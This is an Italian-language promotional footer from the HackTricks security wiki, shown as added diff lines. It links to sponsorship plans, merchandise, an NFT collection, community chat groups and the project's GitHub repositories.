+* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
+* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
+* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
+* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>